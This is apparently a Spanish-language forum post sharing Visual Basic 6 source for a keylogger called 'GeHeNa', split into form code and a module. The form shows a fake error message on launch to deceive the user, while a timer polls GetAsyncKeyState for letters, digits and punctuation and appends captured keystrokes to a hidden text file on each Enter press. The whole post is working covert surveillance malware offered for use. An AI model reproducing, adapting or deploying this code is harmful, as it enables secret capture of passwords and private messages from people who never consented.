pero aki va de nuevo...
Esto va en el form...
Private Sub Form_Load()
MsgBox "Error Al Ejecutar La Aplicación", 16, "Error"
GeHeNa_Texto_1 = ""
End Sub
Private Sub GeHeNa_Timer_1_Timer()
If ObtenerLaTeclaPresionada Then
GeHeNa_Texto_1.Text = GeHeNa_Texto_1.Text + Tecla_Presionada
End If
End Sub
esto va komo un modulo...
Private Declare Function EstadoDelTeclado Lib "user32" Alias "GetKeyboardState" _
(EstadoDeLaTecla As Byte) As Long
Const VK_CAPITAL = &H14
Private Declare Function EstadoDeLaTecla Lib "user32" _
Alias "GetKeyState" (ByVal nVirtKey As Long) As Integer
Private Declare Function ObtenerSiSePresionoLaTecla Lib "user32" _
Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer
Private Const Tecla_Shift As Integer = 16
Private Buscar_Tecla As Integer
Private Resultado_Tecla As Long
Private bShift As Boolean
Public Tecla_Presionada As String
Public Function ObtenerLaTeclaPresionada() As Boolean
Buscar_Tecla = 65
Do Until Buscar_Tecla = 91
Resultado_Tecla = ObtenerSiSePresionoLaTecla(Buscar_Tecla)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, Chr(Buscar_Tecla), LCase(Chr(Buscar_Tecla)))
Dim Estado As Boolean
Call CapsLock_rm(Estado)
If Estado = True Then
Tecla_Presionada = UCase(Tecla_Presionada)
End If
GoTo TeclaEncontrada
End If
Buscar_Tecla = Buscar_Tecla + 1
Loop
Buscar_Tecla = 48
Do Until Buscar_Tecla = 57
Resultado_Tecla = ObtenerSiSePresionoLaTecla(Buscar_Tecla)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
If Resultado_Tecla < 0 Then
If Buscar_Tecla = 48 Then Tecla_Presionada = "="
If Buscar_Tecla = 49 Then Tecla_Presionada = "!"
If Buscar_Tecla = 50 Then Tecla_Presionada = "'"
If Buscar_Tecla = 51 Then Tecla_Presionada = "#"
If Buscar_Tecla = 52 Then Tecla_Presionada = "$"
If Buscar_Tecla = 53 Then Tecla_Presionada = "%"
If Buscar_Tecla = 54 Then Tecla_Presionada = "^"
If Buscar_Tecla = 55 Then Tecla_Presionada = "&"
If Buscar_Tecla = 56 Then Tecla_Presionada = "*"
If Buscar_Tecla = 58 Then Tecla_Presionada = "("
Else
Tecla_Presionada = Chr(Buscar_Tecla)
End If
GoTo TeclaEncontrada
End If
Buscar_Tecla = Buscar_Tecla + 1
Loop
Resultado_Tecla = ObtenerSiSePresionoLaTecla(13)
If Resultado_Tecla = -32767 Then
Tecla_Presionada = vbCrLf
Open App.Path & "\" & "GeHeNa.txt" For Append As #1
Write #1, GeHeNa.GeHeNa_Texto_1.Text
Close #1
GeHeNa.GeHeNa_Texto_1.Text = ""
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(32)
If Resultado_Tecla = -32767 Then
Tecla_Presionada = " "
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(8)
If Resultado_Tecla = -32767 Then
Tecla_Presionada = " BKSP "
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(46)
If Resultado_Tecla = -32767 Then
Tecla_Presionada = " DEL "
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(190)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, ">", ".")
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(188)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, "<", ",")
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(186)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, ":", ";")
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(191)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, "?", "/")
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(222)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, """", "'")
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(192)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, "~", "`")
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(189)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, "_", "-")
GoTo TeclaEncontrada
End If
Resultado_Tecla = ObtenerSiSePresionoLaTecla(187)
If Resultado_Tecla = -32767 Then
Resultado_Tecla = EstadoDeLaTecla(Tecla_Shift)
Tecla_Presionada = IIf(Resultado_Tecla < 0, "+", "=")
GoTo TeclaEncontrada
End If
ObtenerLaTeclaPresionada = False
Exit Function
TeclaEncontrada:
ObtenerLaTeclaPresionada = True
End Function
Public Sub CapsLock_rm(Estado As Boolean)
Dim EstadodelCapsLock As Boolean
Dim teclas(0 To 255) As Byte
EstadoDelTeclado teclas(0)
EstadodelCapsLock = teclas(VK_CAPITAL)
If EstadodelCapsLock <> True Then
Estado = False
ElseIf EstadodelCapsLock <> False Then
Estado = True
End If
End Sub